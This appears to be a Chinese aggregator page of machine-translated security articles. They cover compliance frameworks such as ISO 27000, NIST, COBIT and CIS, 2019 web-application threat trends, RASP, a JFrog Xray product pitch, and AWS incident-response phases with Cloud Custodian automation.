组织可以自定义框架来解决特定的信息安全问题,例如特定于行业的要求或不同的法规遵从性目标。框架也有不同程度的复杂性和规模。如今的框架经常重叠,因此选择一个有效支持运营、合规和审计要求的框架非常重要。
为什么安全框架很重要?
框架为建立信息安全管理的流程、政策和行政活动提供了一个起点。
安全要求经常重叠,导致“人行横道”可以用来证明符合不同的监管标准。例如,ISO 27002在第5节中定义了信息安全政策;信息和相关技术的控制目标(COBIT)在“协调、计划和组织”部分对其进行了定义;Treadway委员会赞助组织委员会(COSO)框架在“内部环境”部分对其进行了定义;HIPAA在“分配的安全责任”部分对其进行了定义;PCI DSS在“维护信息安全策略”部分对其进行了定义。
使用通用框架(如ISO 27002),组织可以建立人行横道,以证明其符合多项法规,包括HIPAA、Sarbanes-Oxley法案(SOX)、PCI DSS和Graham Leach Bliley法案。
如何选择IT安全框架
使用特定IT安全框架的选择可能受到多种因素的驱动。行业类型或合规性要求可能是决定性因素。例如,上市公司可能希望使用COBIT来遵守SOX,而医疗保健行业可能会考虑HITRUST。另一方面,ISO 27000系列信息安全框架适用于公共和私营部门。
虽然ISO标准的实施通常很耗时,但当组织需要通过ISO 27000认证来展示其信息安全能力时,这些标准会很有帮助。虽然NIST特别出版物(SP)800-53是美国联邦机构要求的标准,但任何组织都可以使用它来制定特定技术的信息安全计划。
这些框架帮助安全专业人员组织和管理信息安全计划。在这些框架中,唯一糟糕的选择是不选择任何一个。
IT安全标准和框架示例
1.ISO 27000系列
ISO 27000系列是由国际标准化组织开发的。它是一个灵活的信息安全框架,可以应用于所有类型和规模的组织。
两个主要标准——ISO 27001和27002——确立了创建信息安全管理系统(ISMS)的要求和程序。拥有ISMS是一项重要的审计和合规活动。ISO 27000包括概述和词汇表,并定义了ISMS要求。ISO 27002规定了开发ISMS控制的实施规范。
遵守ISO 27000系列标准是通过审计和认证过程建立的,通常由ISO和其他认可机构批准的第三方组织提供。
ISO 27000系列有60个标准,涵盖广泛的信息安全问题,例如:
- ISO 27018涉及云计算。
- ISO 27031提供了有关IT灾难恢复计划和相关活动的指导。
- ISO 27037涉及数字证据的收集和保护。
- ISO 27040解决了存储安全问题。
- ISO 27799定义了医疗保健中的信息安全,这对需要遵守HIPAA的公司非常有用。
2.NIST SP 800-53
NIST开发了一个广泛的IT标准库,其中许多标准侧重于信息安全。NIST SP 800系列于1990年首次发布,几乎涵盖了信息安全的各个方面,并越来越关注云安全。
NIST SP 800-53是美国政府机构的信息安全基准,在私营部门广泛使用。SP 800-53有助于推动信息安全框架的发展,包括NIST网络安全框架(NIST CSF)。
3.NIST SP 800-171
NIST SP 800-171因美国国防部对承包商遵守安全框架的要求而广受欢迎。政府承包商由于靠近联邦信息系统,经常成为网络攻击的目标。政府制造商和分包商必须有一个IT安全框架来竞标联邦和州的商业机会。
NIST SP 800-171框架中包含的控制与NIST SP 800-53直接相关,但不太详细,更为笼统。如果一个组织必须以NIST SP 800-171为基础,证明其符合NIST SP 800-53,则可以在这两个标准之间建立人行横道。这为较小的组织创造了灵活性——它们可以使用NIST SP 800-53中包含的额外控制措施,在成长过程中显示出合规性。
4.NIST-CSF
NIST改善关键基础设施网络安全框架(NIST CSF)是根据2013年2月发布的第13636号行政命令制定的。它的开发是为了解决美国的关键基础设施问题,包括能源生产、供水、食品供应、通信、医疗保健和运输。这些行业必须保持高度的准备,因为它们都因其重要性而成为民族国家行为者的目标。
与其他NIST框架不同,NIST CSF专注于网络安全风险分析和风险管理。该框架中的安全控制基于风险管理的五个阶段:识别、保护、检测、响应和恢复。与所有IT安全计划一样,这些阶段需要高级管理层的支持。NIST CSF适用于公共和私营部门。
5.NIST SP 1800系列
NIST SP 1800系列是对NIST SP 800系列标准和框架进行补充的一套指南。SP 1800系列出版物提供了有关如何在现实应用中实施和应用基于标准的网络安全技术的信息。
SP 1800系列出版物提供了以下内容:
- 具体情况和能力的示例。
- 基于经验的操作方法,使用多种产品来实现所需的结果。
- 关于各种规模组织能力实施的模块化指导。
- 所需组件的规范以及安装、配置和集成信息,使组织能够轻松地复制流程本身。
6.COBIT
COBIT是由ISACA在20世纪90年代中期开发的,ISACA是一个由IT治理专业人员组成的独立组织。ISACA提供著名的认证信息系统审计员和认证信息安全经理认证。
COBIT最初专注于降低IT风险。2012年发布的COBIT 5包含了新技术和业务趋势,以帮助组织平衡IT和业务目标。当前版本为COBIT 2019。它是实现SOX合规性最常用的框架。许多出版物和专业认证都满足了COBIT的要求。
7.CIS控制
互联网安全中心(CIS)关键安全控制,版本8(以前称为SANS Top 20)列出了可应用于任何环境的技术安全和操作控制。它不像NIST CSF那样涉及风险分析或风险管理;相反,它只专注于降低风险和提高技术基础设施的弹性。
18个CIS控件包括以下内容:
- 企业资产的盘点与控制。
- 数据保护。
- 审核日志管理。
- 恶意软件防御。
- 渗透测试。
CIS控制与现有的风险管理框架相联系,以帮助补救已识别的风险。对于缺乏技术信息安全经验的IT部门来说,它们是有用的资源。
8.HITRUST通用安全框架
HITRUST通用安全框架(CSF)包括风险分析和风险管理框架以及操作要求。该框架有14个不同的控制类别,几乎可以应用于任何组织,包括医疗保健。
HITRUST CSF对于任何组织来说都是一项巨大的事业,因为它对文档和流程的重视程度很高。因此,许多组织最终确定了HITRUST关注的较小领域。获得和维护HITRUST认证的成本增加了采用该框架所需的努力水平。认证由第三方审核,这增加了有效性。
9.GDPR
GDPR是全球组织必须实施的安全要求框架,以保护欧盟公民个人信息的安全和隐私。GDPR要求包括限制未经授权访问存储数据的控制措施和访问控制措施,如最低权限、基于角色的访问和多因素身份验证。
10.COSO
COSO是五个专业组织的联合倡议。其内部控制——综合框架于1992年发布,并于2013年更新,帮助公司实现基于风险的内部控制方法。它包括以下五个组成部分:
- 控制环境。
- 风险评估和管理。
- 控制活动。
- 信息和通信。
- 监测。
COSO于2004年发布了企业风险管理(ERM)——综合框架,并于2017年进行了更新。该框架旨在帮助组织改进网络风险管理,涵盖以下五个组成部分的20项原则:
- 治理和文化。
- 战略和目标设定。
- 表演
- 审查和修订。
- 信息、沟通和报告。
2019年发布的一份指导文件《数字时代的网络风险管理》就如何准备和应对企业网络威胁提供了建议。它与COSO ERM框架保持一致。
11.FISMA
《联邦信息安全现代化法案》(FISMA)与NIST风险管理框架紧密一致,为保护联邦政府数据和系统提供了一个安全框架。FISMA于2002年推出,并于2014年更新,建议在2023年更新;立法悬而未决。
FISMA要求联邦机构及其第三方、承包商和供应商制定、记录和实施安全政策和做法,包括监控其IT基础设施和进行定期安全审计。
12.NERC CIP
北美电力可靠性公司关键基础设施保护是一个由14个已批准和提议的标准组成的框架,适用于大容量电力系统内的公用事业公司。这些标准概述了监测、监管、管理和维护关键基础设施系统安全的建议控制和政策。
CIP标准包括以下内容:
- CIP-004-6网络安全——人员和培训。
- CIP-008-6网络安全——事件报告和响应计划。
- CIP-013-1网络安全——供应链风险管理。
- CIP-014-1物理安全。
大容量电力系统所有者、运营商和用户必须遵守NERC CIP框架。
- 225 次浏览
【安全趋势】预测2019年的Web应用程序漏洞和网络安全趋势
Web应用程序攻击正在增加。最近的一项研究发现,它们是2017年和2018年第一季度报告的违规行为的主要原因。这一显着增长部分是由于Web应用程序漏洞的多样性,因为新的攻击媒介被发现并被利用。
缺乏对安全性的关注也是一个问题,另一项研究发现,96%的Web应用程序都包含某些可能用于伤害用户的漏洞。
应用程序开发人员和安全人员需要了解这些新兴的Web应用程序漏洞,以及应该采用的网络安全实践来加快应用程序安全策略和过程。知识是保护应用程序及其用户的关键,特别是在新威胁出现时(攻击者抓住机会利用它们)。
教育:2019年的主要Web应用程序漏洞
1.人工智能攻击
人工智能(AI)为Web应用程序开发带来许多好处,允许开发人员创建更有意义和更强大的产品。但AI也被用于恶意活动。
攻击者可以使用基于AI的黑客算法来查找最微小的应用程序漏洞并分析复杂的用户行为和场景。通常需要数周和数月才能完成的分析几乎可以立即完成,从而为攻击者提供可用于利用Web应用程序的信息。
检测到的第一个AI网络攻击是2017年末,当时攻击软件能够通过模仿正常行为来伪装自己,使其更难被发现。自动机器人也可用于发动攻击,因为它们变得更难以与人类区分并且越来越善于表现出“正常”行为。
这种攻击的最佳防御方法是使用AI。使用AI来保护您的应用程序是应用程序安全性的未来,也是行业发展的方向。将其构建到您的安全系统中,以进行主动监控和事件报告。
AI可以帮助减少误报,确定威胁的优先级,并自动化修复过程。公司还需要改进认证措施,以便自动化机器人更难以规避。典型的安全问题,用户名和密码是不够的。例如,如果您还没有添加软件或硬件令牌,请考虑使用它们。
2.开源安全威胁
开源组件通常用于Web应用程序开发。它们缩短了开发时间,允许开发人员为其Web应用程序添加功能,而无需从头开始编写代码。增加的功能有助于在保持预算和时间表的同时提供更好的最终产品。
但是,如果不考虑安全性,这些好处就会消失。我们始终建议对所有开源组件进行安全测试。不要因为其他人使用它们而认为它们是安全的。
这在未来一年将变得更加重要。为什么?随着开源在Web应用程序开发中变得越来越普遍,它成为攻击者的一个更大(更具吸引力)的目标。如果他们可以找到一个开源组件或库的漏洞利用,他们可能会同时攻击多个应用程序。并且因为这些库和组件是开放的,所以它们使得它们更容易找到这些漏洞。
最近对开源安全性的分析发现,开源组件的使用正在增加,但对安全性的关注并未跟上步伐。被审查的企业中有三分之一尚未修补源自开源组件的漏洞,发现的威胁中有一半以上被认为是关键漏洞。
防御这些攻击的第一步是仅使用来自受信任存储库的开源代码 - 无论这看起来多么明显,这是一个非常少的开发人员打扰的预防措施。活跃的用户社区是开发人员目前正在使用并(希望)测试开源组件以解决安全问题的好兆头。
除此之外,应使用软件组合分析(SCA)工具(如Black Duck Hub和OWASP依赖项检查)在部署之前扫描源代码中的漏洞。
另一个重要的,看似简单的预防措施是创建一个工作文档来跟踪应用程序中的开源组件 - 您正在使用的所有组件,它们的使用位置以及当前部署的版本。如果发生攻击,此文档将允许您快速识别受影响的应用程序或代码行,从而帮助您快速修复威胁。
如果发现漏洞,还可以使用正式的补救策略来确保您的团队准备好快速采取行动。移动得越快,造成的伤害就越小。
3.勒索软件
根据2018年赛门铁克互联网安全威胁报告,勒索软件是2017年最普遍的攻击类型之一,增长了46%。
勒索软件经常让我们想到整个网络被攻击锁定(如WannaCry违规的情况),但它也可能发生在应用程序级别。在这种情况下,应用程序会受到攻击,无法再正常使用。攻击者要求赎金以换取释放申请。
Spora是一个强硬的勒索软件攻击的例子。在此攻击中,JavaScript代码会添加到网站并生成弹出式提醒,提示用户更新其Chrome浏览器。然后攻击者窃取用户的凭据并索要赎金或出售信息以换取金钱。
Web应用程序对勒索软件攻击并不安全。最常见的进入途径是通过Web应用程序中使用的软件包。攻击者可以将勒索软件工具包嵌入到软件包中,开发人员可能会在不知不觉中将软件包作为其Web应用程序的一部分进行安装。
如上所述,开发人员经常在Web应用程序开发中使用第三方软件包,其中许多开源解决方案容易受到攻击,因此攻击者很容易创建恶意版本并诱骗开发人员使用它们。
为了保护您的Web应用程序免受勒索软件的侵害,您当然应该对Web应用程序中使用的所有第三方组件执行定期安全测试。我们还建议使用包管理器(如Sonatype)来创建一个受信任的包存储库,供开发人员选择。
4.攻击已知漏洞
Gartner预测,到2020年,99%的漏洞利用已经知道至少一年 - “已知”意味着这些漏洞已被识别和披露,但尚未修复。使用具有已知漏洞的组件会使您的应用程序受到攻击。
Heartbleed漏洞就是一个很好的例子。此漏洞可以追溯到一行代码,这会使敏感数据面临风险。许多公司一旦曝光就争先恐后地更新补丁。如果不对其他漏洞执行此操作,您的组织将面临破坏性攻击。
一旦发现漏洞,尤其是那些可能危及敏感信息的漏洞,这一点很重要。教育开发人员了解应用程序安全性的重要性可以激励他们为安全性提供应有的关注。
从第一天开始,安全性需要整合到设计和开发过程中。有很多方法可以使这种集成变得更容易,正如您将在讨论来年的网络安全趋势时所看到的那样。
预防:2019年最重要的网络安全趋势
1. Bug赏金计划
赏金计划正在变得越来越受欢迎,其中攻击者付费试图侵入应用程序和系统以暴露漏洞。这些“友好”的攻击者通过在恶意攻击者利用漏洞之前发现漏洞来帮助提高应用程序的安全性。这种方法填补了自动安全测试可能遗漏的空白。
有时需要通过人工触摸来找到暴露应用程序以进行攻击的新方法,并且发现新的或罕见漏洞的攻击者获得了良好的回报。像HackerOne这样的Bug赏金公司管理经过审查的攻击者并帮助组织更快地发现漏洞。
2.应用程序漏洞管理
正如我们前面提到的,安全性需要集成到开发过程中。更多组织将开始使用工具来简化此过程。应用程序漏洞管理器通过从多个测试工具中删除重复结果并确定结果优先级来简化应用程序安全测试流程,以便您可以首先处理最严重的威胁。
质量应用程序漏洞管理工具集成到开发人员的工作环境中,例如Eclipse和Jenkins,因此可以查看和跟踪漏洞,而无需强迫开发人员切换到其他应用程序。像这样的工具允许全面的应用程序安全性测试,而不会减慢开发过程。
3.数据安全治理计划
更多组织将在2019年开始采用数据安全治理(DSG)计划。数据治理可保护组织内所有数据(包括应用程序)的完整性,可用性,可用性和安全性。
正式的DSG计划详细说明并实施标准化的策略和程序,以便更有效,更安全地保护用户和业务数据。作为该计划的一部分,确定并处理安全方面的差距。您的DSG计划应该是更大的IT治理策略的一部分,因此它适合您的整体安全计划。
4.运行时应用程序自我保护(RASP)
RASP通过实时检测攻击来提高Web和移动应用程序的安全性。代理程序安装在应用程序中,并监视应用程序是否存在攻击并对其进行防护。
它在应用程序运行时为应用程序添加一层保护,检查每个执行的指令并确定任何给定的指令是否实际上是攻击。
它可以在诊断时使用,在发现攻击时引发警报或警报。它还可以用于自我保护,并实际上停止可能导致攻击的执行。
到2022年,全球RASP市场目前预计将以29%的复合年增长率(CAGR)增长。
5.减少对密码的依赖
虽然我们不希望密码完全消失(它们已经过于成熟),但会发生转变,更加重视其他识别技术。这种转变将在中高风险应用中更频繁地发生,以使其更安全。
面部识别是一个可以改善网络和移动应用程序安全性的示例。随着威胁数量和种类的增加,这些更先进的验证程序变得越来越重要。
随着Web应用程序攻击的不断增加,开发人员和安全团队必须共同努力,以防止或抵御新的和现有的威胁。将安全性整合到整个应用程序设计,开发和部署过程中的全面应用程序安全策略是保护您的企业和用户免受攻击的最佳方式。该策略必须包括对最新攻击媒介的教育和网络安全的进步,以便您的防御始终处于最佳状态。
原文:https://codedx.com/predicted-web-application-vulnerabilities-and-cybersecurity-trends-for-2019/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 24 次浏览
【安全运营】RASP如何保护应用程序免受攻击
运行时应用程序自我保护技术(RASP)可直接从运行时引擎(如JVM)缓解应用程序级漏洞。
开发人员依靠Python,Node.js和Java等语言来编写和发布复杂的Web应用程序,但是他们快速的开发周期使这些应用程序的安全成为一项挑战。输入RASP(运行时应用程序自我保护),它将漏洞保护直接整合到应用程序中,以阻止出现的威胁。
应用程序使用RASP通过将安全控件包含到应用程序运行时引擎(如JVM)中来自我防御内部和外部攻击。由于控件是运行时引擎的一部分,因此RASP可以全面了解应用程序的逻辑流程,数据流和配置。
在基本级别,RASP通过阻止未经授权的尝试执行shell命令来保护应用程序。完成所有这些操作无需对应用程序代码进行任何更改。
“RASP在应用程序内部移动保护,”Immunio的首席技术官Mike Milner说,它提供了一个保护Java和其他动态语言的平台,包括Python,Node.js和Ruby on Rails。
Immunio的平台不仅限于检测和防范代码级漏洞和跨站点脚本和SQL注入等应用程序问题。它还可以检测和阻止帐户接管。 Immunio最近在平台上添加了Node.js支持,以反映企业内Node.js的增长。
许多企业将其开发工作集中在单一语言(如Java或.Net)上,并使用静态分析工具来查找这些应用程序中的漏洞。动态语言的采用率的增长使得依靠静态代码分析来发现漏洞变得更加困难。动态语言越来越多地为大量互联网提供动力,企业需要更快的方法来缓解生产环境中的漏洞。
企业通常必须等待供应商发布商业应用程序的补丁,这为攻击者留下了机会之窗。开源应用程序的情况甚至更加模糊。但是,使用RASP,组织可以在等待官方补丁时保护应用程序,无论它何时到达。
考虑一下今年早些时候公布的Java反序列化漏洞。该漏洞已经在JBoss和Websphere等应用程序中进行了修补,但在较旧的Rails应用程序中可能仍未修补,而且Milner指出许多自定义Java应用程序可能仍然存在缺陷。这就是RASP派上用场的地方,因为它可以保护应用程序免受试图触发该漏洞的攻击。
毫无疑问 - RASP并不能解决Web应用程序中的软件漏洞问题。它不应被视为Web应用程序防火墙的替代品,甚至不应被视为转储应用程序安全测试和静态代码分析的借口。 WAF擅长检测和阻止针对应用程序的网络级攻击,例如检测恶意IP和自动机器人,以及阻止拒绝服务攻击。另一方面,RASP更适合监视代码级漏洞并减轻跨站点脚本和SQL注入威胁。
应用程序受到攻击,因此企业需要结合使用跨越开发和运营的检测和保护技术,而不是寻找一颗银弹来保护它们。开发人员仍然需要通过静态代码分析扫描程序运行代码,以便在开发阶段发现漏洞。应用程序安全测试有助于在软件上线之前发现安全问题。
对于devops爱好者,安全测试和代码扫描解决了方程式的“开发”部分,而RASP涵盖了“操作”,因为它让团队“主动应对其应用程序中的漏洞,而不是被动反应”,Milner说。
原文:https://www.infoworld.com/article/3089951/how-rasp-protects-applications-from-attacks.html
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 33 次浏览
安全运营
【安全运营】是时候信任你的软件了!
JFrog Xray - 不仅仅是另一个安全漏洞扫描程序。
我们刚刚正式推出了JFrog Xray,客户已经问过为什么我们认为应该使用JFrog Xray而不是$ YOUR_FAVORITE_SECURITY_SCANNING_TOOL。 Xray喜欢黑鸭吗? 也许它就像Docker Security Scanning? 也许它类似于Sonatype Nexus组件智能?
在进入差异列表之前,有一个巨大的概念转变。 Xray不仅仅是另一个带有普通扫描器的安全数据库。它是通用二元影响分析产品。递归分析的能力使Xray成为独一无二的,并且它是开放且通用的,可以连接到您的安全和许可证数据库或任何其他元数据。不确定我的意思?继续阅读,这篇文章的结尾都有意义。
现在,在我们成功确定Xray与传统安全漏洞扫描程序(如Sonatype Nexus组件智能或Docker Security Scanner)不同的类别之后,让我们将苹果与橙子进行比较,以更好地理解为什么Xray会大大改变您对二进制影响的思考方式分析:
1.这不仅仅是安全漏洞。影响分析应该是普遍的。
确实恐慌是卖(问一些政治家),但正如Roy Schestowitz博士所说,我们不卖FUD。您希望了解许多不同的度量标准,并提醒您有关组件的许可 - 许可证合规性,运行时性能问题,错误,体系结构决策,过时的组件,甚至还有完全特殊的规则要应用,例如检测组件你的竞争对手的IP。是的,安全漏洞也是如此。
Xray使用内部元数据源与其连接的外部元数据源相结合,为您提供真正的通用影响分析。
2.那容器怎么样?!并非所有的软件都是Java(或NuGet或npm)。影响分析应该是普遍的。
Java主导软件世界(或多或少),但今天,很难找到只做Java的组织。 Polyglot编程是新的“正常”,然后有DevOps将其他类型的软件带到开发人员的板块 - Docker,RPM,YUM,Vagrant。一个只能扫描Java组件的工具是...... 2005年?
目前,Xray能够扫描Java JAR和WAR,Nuget包,Python egg,npm包,RPM和Debian包,当然还有Docker镜像。很快,Xray将支持世界上最全面的工件库中支持的所有包类型 - JFrog Artifactory。
3.一个数据库无法全部了解,但影响分析应具有普遍性。
世界上没有数据库可以包含全面影响分析所需的所有元数据 - 所有不同类型组件的所有安全漏洞,所有许可证,所有版本,当然世界上没有数据库可以包含您的专有决策制作元数据。此外,有不同的影响分析方法可能适合其他组织,但不适合您的(例如,您是否可以将依赖关系的指纹发送到云?)。
Xray为您提供了选择的自由 - 您可以使用Xray的内部安全漏洞,许可证和组件版本数据库来实现零配置体验。由于我们设计Xray是通用的,我们的合作伙伴已经构建了集成,因此您可以连接任意数量的外部工具,如Black Duck,WhiteSource和Aqua(如果它们更适合您的需求,请继续关注更多)。 JFrog还将继续添加更多元数据提供程序以与Xray集成。但是自定义元数据怎么样?通过一个开放的REST API,Xray为您提供了一种将任何决策机制挂钩到Xray的简单方法,并了解它如何影响您的应用程序。
4.组件不是扁平的。影响分析应该是普遍的。
因此,例如,Nexus Component Intelligence能够扫描Java组件。或者,让我们来看看Docker Security Scanner。它只能扫描Docker镜像。但是,在Docker镜像,RPMor Debian软件包或gzip压缩文件中,Java组件呢?不。在Nexus Component Intelligence的世界中,组件只能以独立的扁平结构存在。
现实世界是不同的。组件像俄罗斯娃娃一样包含在内; WAR中的JAR,Debian软件包内,Docker镜像内,Vagrant框内的JAR。 Xray作为一个通用工具,知道如何打开这些包,发现内部的内容,并递归地索引这些组件。
5.您需要在全公司范围内进行影响分析,这应该是普遍的。
想象一下,如果Xray在组织内某个项目的一个生产环境中的Docker容器内运行的其中一个Nuget包中发现了运行时错误(现在你知道它可以)。如果你的其他项目的同事也知道受这个bug影响的所有组件,那不是很梦幻吗?
您可以使用Nexus组件智能或类似工具无法完成Xray的其他工作 - 全公司范围的影响分析。一旦Xray连接到公司内不同项目和组织中运行的所有Artifactory实例,它就构建了一个真正的通用组件图,并且可以对公司内可能受所讨论的单个组件影响的所有组件运行影响分析。
好吧,我相信你现在已经有了这个想法。你需要你的影响分析是普遍的,你只能用JFrog Xray来实现。
为了完善整个故事,JFrog Artifactory 4.11与JFrog Xray共同发布,这两款产品紧密相互补充。 Artifactory,唯一真正的通用工件存储库,提供所有二进制工件及其随附的元数据,JFrog Xray是唯一可以连接到任意数量的外部源并真正提供通用影响分析的产品,为您提供完整的图片所有问题和漏洞都会影响整个组织中任何格式的二进制工件。
原文:https://jfrog.com/blog/it-is-time-to-trust-your-software/
本文:http://pub.intelligentx.net/it-time-trust-your-software
讨论:请加入知识星球【首席架构师圈】
- 34 次浏览
【安全战略】跨AWS帐户架构安全性和治理第2部分:AWS上的事件响应。
这是“跨AWS帐户架构安全性和治理”的第二部分。”系列。在这一部分中,我们将在AWS cloud上浏览事件响应规划的窄巷;我们还将使用云托管实现有趣的自动事件响应活动。
“建立声誉需要20年的时间,而几分钟的网络事件就能毁掉它。——史蒂芬·纳波
NIST,安全事件”的发生实际上或潜在危害的保密性,完整性或可用性的信息系统或信息系统流程、商店、传送或构成违反或违反安全策略的迫在眉睫的威胁,安全程序,或可接受的使用政策”。
好吧,满嘴都是,我们化简一下。意外事件是对您的IT服务的意外降级。
在本部分中,我们将介绍您轻松应对安全漏洞的过程、AWS服务和策略。
有很多事件响应框架,它们详细地解释了您需要实现哪些内容,以便围绕流程实现有效的事件响应团队、剧本和自动化。
让我们从讨论事件响应阶段和AWS上的攻击面开始,然后尝试招募AWS Lambda到我们的事件响应团队中,在出现问题时提供帮助;我希望我们能负担得起Lambda的薪水:)
云中的事件响应阶段(NIST)
参考文献:NIST SP 800-53,修订版4
当涉及到对安全事件的响应时,与传统数据中心相比,云中的阶段并没有发生太大的变化,但是技术实现确实发生了巨大的变化,变得更好。让我们来探索这些阶段。
高效运行手册的七个事件响应阶段
1-准备阶段:
准备阶段
你猜对了,这个阶段就是准备阶段。我们需要做好准备,完成威胁建模,缩小攻击面,并采取任何必要的主动措施,从一开始就防止安全事件的发生。我们需要启用日志记录、监控、加密和限制爆炸半径。
采取积极措施做好准备:
- 数据分类:识别数据敏感性级别、所有者和安全需求。
- 所有权:所有资源都应该被标记,很高兴知道谁拥有一组受损的资源,至少所有者可以提供关于资源或配置中数据存储的敏感性级别的信息,这可能会导致折衷。提示:我们应该始终标记我们的资源!
- 风险管理:识别威胁、风险和漏洞,确定您的风险偏好,然后根据您愿意容忍的风险级别管理您的风险和漏洞。
- 弹性:架构师高度可用,容错基础设施。提示:使用AWS well architect工具并阅读well-architect白皮书。
- 最小特权原则:使用AWS IAM和资源策略,只授予需要访问数据或操作环境的人有限的访问权限。
- 测试(比赛日):测试您的事件响应计划。我相信在真正的安全事件发生之前,您会发现可以解决的缺点。
准备好一切:
没有理由不在所有帐户和区域上启用CloudTrail和其他日志服务。你将没有法医学来告诉你的资产发生了什么事,在事件的违反。
当您启用CloudTrail时,您接触的任何AWS服务都将在CloudTrail中记录对它们采取的操作,CloudTrail还可以与CloudWatch和日志集成,并将存储在一个集中的s3存储桶中。
CloudWatch事件可以被AWS Lambda用于实时修复,也可以被SNS用于实时通知。无论您使用的是SDK、控制台还是AWS CLI,所有操作都将被记录下来。你对AWS资源采取的任何行动都可能被用来对付你:)我知道这是坏的,我保证不再这样做。最后一点,请不要忘记启用ClouTrail日志文件验证。
CloudTrail工作流
通过限制爆炸半径来准备
爆炸半径
使用AWS组织和VPC、子网NACLs、EC2安全组等,根据业务单元、产品等隔离AWS帐户和资源,限制爆炸半径。
这种方法与深度防御等原则相结合,可以提供更大的保护,抵御威胁。
准备加密一切:
数据隐私专家会告诉你,“对待你的数据就像每个人都在看它一样,因为他们可能一直在看。”
加密是使用加密算法和加密密钥屏蔽数据的过程。如果使用了健壮的加密算法,如果坏人能够在传输过程中拦截数据或在静止时访问数据,他们就无法将数据读取为明文。
AWS提供了加密数据的选项,包括但不限于KMS。
AWS KMS和其他直接加密数据的服务使用一种称为信封加密的方法来提供性能和安全性之间的平衡。见下文:
服务器端加密
2-鉴定阶段:
识别阶段
折衷的指标有很多,比如AWS GuardDuty high severity alert,它说明您的EC2实例正在向与比特币挖掘相关的域发出出站调用,或者最好不是正在下降的生产服务。
识别阶段是我们发现事件正在实现的阶段。实现标识阶段的最佳方法是确保为所有您认为重要的安全发现(如AWS root帐户登录)设置警报。
以下是当你意识到某个事件已经发生时,你需要回答的一些问题:
- 原因:了解攻击背后的意图可以帮助您确定产品和资源的范围和攻击的性质。
- 内容:识别丢失的数据和损坏的资源,以及您需要清理、隔离和减轻哪些工作和资源。
- 如何:找出他们利用的弱点,以获得未经授权的访问您的系统。
- When:确保你记录下所有的事件
- 谁:谁是坏演员。
在识别安全问题时,依赖于人类是一种不好的做法,因为我们在关联异常值和异常方面不如机器。使用AWS服务的自动事件响应是解决之道,您还可以通过应用机器学习和安全分析来解决这一问题。
3-围堵阶段:
控制阶段:
你已经经历了所有繁琐的识别步骤现在怎么办?这一阶段涉及的是消除安全威胁。
我们应该有一个Cloudformation或Terraform模板,它拥有构建用于取证调查的隔离环境所需的所有资源。我们需要采取的一些行动是:
- 将您的AWS帐户移动到一个组织单元,该组织单元具有非常严格的AWS组织服务控制策略。
- 拒绝访问s3桶
- 限制安全小组,所以他们只允许指定的港口进行调查。
- 全球拒绝* IAM政策应附加到所有实体,不涉及此阶段
应该部署自动化来停止受损害的资源、快照卷、禁用KMS加密密钥和更改的Route53记录集。
4-调查阶段:
调查阶段
调查阶段包括包含阶段之后的活动,包括但不限于取证和一般日志分析。调查阶段应披露事件发生的时间,以及不法分子为进入我们的系统采取了什么行动,这次入侵的副作用是什么,以及根据目前收集到的证据,这次入侵再次发生的可能性。如前所述,调查应在一个孤立的环境中进行。
你可以使用的服务:
- VPC Flow Logs.
- CloudTrail.
- CloudWatch.
- Athena for analyzing logs.
5-根除阶段:
根除阶段
这个阶段涉及到对受影响资源的仔细处理。如果有必要,我们会删除资源,并将健康和清洁资源转移到更安全的环境中。
加密的数据应该是无法被攻击者破译的,这意味着我们可以执行以下一些操作:
- 禁用或删除KMS密钥
- 从EBS卷中删除溢出的文件,并将干净的数据转移到新的加密的EBS卷
- 删除s3服务器端加密的加密s3对象
- 删除使用KMS或客户密钥加密的s3对象和s3对象的加密CMKs
如果数据没有加密,您唯一的选择是将存储资源从最后一个已知的良好状态恢复到您可以保证它没有被篡改的状态。
6-恢复阶段:
经济复苏阶段
现在我们已经做了一切来确定发生了什么,并且已经尽我们最大的能力进行了数据清理,我们需要将操作恢复到正常状态。
我们可以在这个舞台上表演的一些动作:
- 恢复资源。
- 恢复网络连接。
- 使用新的和改进的访问控制策略和加密密钥。
- 监控你的环境是否有任何不寻常的行为。
7-后续阶段:
后续阶段
后续阶段,也就是事后分析,是关于吸取的教训和需要采取的后续行动,以避免发生新的安全事件,并改进我们的事件运行记录。
自动化
AWS警卫自动化工作流程
如果你已经做到了,谢谢你!让我们动手看看一个用例,这个用例应该能够使我们到目前为止所讨论的思想深入人心。最后,如果你不付诸行动,只有一个可靠的计划是不够的。
为此,我们需要:
- 孤立的AWS环境。请不要使用您的生产环境,因为此活动可能会占用资源。
- 在孤立的AWS环境中,必须启用AWS GuardDuty,以便生成将由CloudWatch事件和AWS Lambda使用的结果。
- EC2实例(t2.micro),为了生成一些安全结果,我们可以打开所有端口或类似的东西。
- 我们将设置Cloud保管器,以便它部署此活动所需的无服务器组件。
注意:您需要将云托管部署到您启用GuardDuty的同一区域。
当我们的云托管策略检测到AWS GuardDuty生成的中/高严重性发现时,它应该对范围内的资源采取行动,这个解决方案非常简单。
托管方将对受影响的EC2实例采取什么行动:
- 删除附加到EC2实例的IAM角色。
- 停止EC2实例。
- 取证调查卷快照。
让我们从安装云托管开始,并编写我们的第一个策略。在你的终端机运行以下命令安装抄送:
安装云托管
然后,创建一个名为custodian.yml,内容如下:
你的第一个政策
这个策略所做的就是,停止任何具有标记键“托管人”的EC2实例。
执行您的第一个策略:
我假设你使用概要文件访问通过CLI AWS帐户,如果不是你可以查找如何验证使用API密钥托管,或托管人承担角色的命令,如果你正在使用一个配置文件,下面是如何使用AWS CLI概要文件在本地运行政策,意味着这一政策不会运行基于CloudTrail所产生的一个事件或一个预定义的时间表。
如果成功,您应该在命令行上看到类似于下面的输出:
现在您是一个云托管专家,可以在AWS上实现安全自动化,让我们拿出真正的策略!
真正的交易
遵循您的第一份保单提供的步骤;编写策略,保存策略,并将其部署到一个独立的AWS环境中,然后观察其神奇之处。如果GuardDuty生成结果,策略Lambda将使用生成的事件,并通过执行我们在上面解释的操作进行响应。
好吧!这就是事件响应部分!
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 24 次浏览
【安全架构】20个CIS 控制和资源
基本CIS控件
- 硬件资产的库存和控制
- 软件资产的库存和控制
- 持续漏洞管理
- 管理特权的使用
- 移动设备、笔记本电脑、工作站和服务器上的硬件和软件的安全配置
- 审计日志的维护、监控和分析
基础CIS控制
- 电子邮件和Web浏览器保护
- 恶意软件防御
- 网络端口、协议和服务的限制和控制
- 数据恢复功能
- 网络设备(如防火墙、路由器和交换机)的安全配置
